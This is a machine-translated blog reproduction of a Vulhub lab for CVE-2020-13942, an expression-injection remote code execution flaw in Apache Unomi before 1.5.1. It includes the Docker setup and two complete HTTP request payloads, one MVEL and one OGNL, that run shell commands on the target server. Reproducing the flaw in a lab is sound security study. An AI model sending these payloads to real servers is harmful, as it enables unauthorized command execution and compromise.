当前位置:网站首页>Vulhub vulnerability recurrence 71_ Unomi
Vulhub vulnerability recurrence 71_ Unomi
2022-07-06 05:17:00 【Revenge_ scan】
CVE-2020-13942_ Apache Unomi Remote expression Code Execution Vulnerability
Vulnerability Details
Apache Unomi It's a standard based customer data platform (CDP,Customer Data Platform), Used to manage information such as online customers and visitors , To provide a personalized experience that meets visitor privacy rules . stay Apache Unomi 1.5.1 In previous versions , There is an expression injection vulnerability , A remote attacker can use MVEL and OGNL Expression can execute any command on the target server .
Reference link :
-https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
- https://github.com/eugenebmx/CVE-2020-13942
Environment building
shooting range :192.168.4.10_Ubuntu
Run the following command to start a Apache Unomi 1.5.1 Server for :
#docker-compose up -d
After the environment starts , adopt `http://your-ip:8181` or `https://your-ip:9443` You can access Unomi Of API.
Loophole recurrence
adopt 8181 and 9443 Both ports can trigger vulnerabilities , The following 8181 For example .
1. adopt MVEL Expressions execute arbitrary commands :
```
POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 483
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/mvel\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
```

2. adopt OGNL Expressions execute arbitrary commands :
```
POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 1064
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/ognl\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"sample"
}
```
Into the container , Visible command executed successfully :

边栏推荐
- The video in win10 computer system does not display thumbnails
- idea一键导包
- The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower
- 用StopWatch 统计代码耗时
- Mysql高级篇学习总结9:创建索引、删除索引、降序索引、隐藏索引
- Nacos - TC Construction of High available seata (02)
- On the solution of es8316's audio burst
- CUDA11.1在线安装
- Leetcode dynamic planning day 16
- Hyperledger Fabric2. Some basic concepts of X (1)
猜你喜欢

Please wait while Jenkins is getting ready to work

Zynq learning notes (3) - partial reconfiguration

What are the advantages of the industry private network over the public network? What specific requirements can be met?

Golang -- TCP implements concurrency (server and client)

Codeforces Round #804 (Div. 2)

图数据库ONgDB Release v-1.0.3

Fiddler installed the certificate, or prompted that the certificate is invalid

Excel转换为Lua的配置文件

Rce code and Command Execution Vulnerability

Lepton 无损压缩原理及性能分析
随机推荐
Configuration file converted from Excel to Lua
Acwing week 58
Force buckle 1189 Maximum number of "balloons"
Sliding window problem review
Crazy God said redis notes
Knowledge points of circular structure
Oracle query table index, unique constraint, field
Realize a binary read-write address book
[leetcode] 18. Sum of four numbers
關於Unity Inspector上的一些常用技巧,一般用於編輯器擴展或者其他
Lepton 无损压缩原理及性能分析
[buuctf.reverse] 159_ [watevrCTF 2019]Watshell
On the solution of es8316's audio burst
Upload nestjs configuration files, configure the use of middleware and pipelines
RT thread analysis - object container implementation and function
Talking about the type and function of lens filter
SQLite queries the maximum value and returns the whole row of data
Pointer classic written test questions
指针经典笔试题
jdbc使用call调用存储过程报错